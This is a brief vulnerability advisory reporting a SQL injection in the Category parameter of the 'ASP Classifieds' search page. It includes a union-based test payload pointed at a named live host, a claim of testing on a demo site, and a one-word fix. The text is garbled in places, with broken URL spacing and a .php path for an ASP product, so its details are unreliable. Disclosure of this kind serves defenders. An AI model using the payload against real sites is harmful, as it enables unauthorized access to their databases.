ASP Classifieds SQL Injection

Title: ASP Classifieds SQL Injection
Author: infosecpirate@gmail.com of r45c4l www.2cto.com
Program Development page: http://preproject.com/pclasp/home/default.asp
Product Description:
ASP Classifieds is one of the most customizable Classified ad program
That exist for ASP and Access. Unlimited Images, unlimited categories
And much more makes it perfect for those who wants to set up a used
Stamps classifieds to those wanting to show and publish real estates.
Product Cost: 58 $
==================================== Test Method ==================================
--- ICW ---
[E test]
SQL Injection
Test-
Http: // SERVER/classi/search. php? Category = [SQli]
Test-
Http://www.bkjia.com/classi/search. php? Category =-1 + union + all + select + version ()--
[Note: it has been tested on the demo website]
Fix:
 
Filter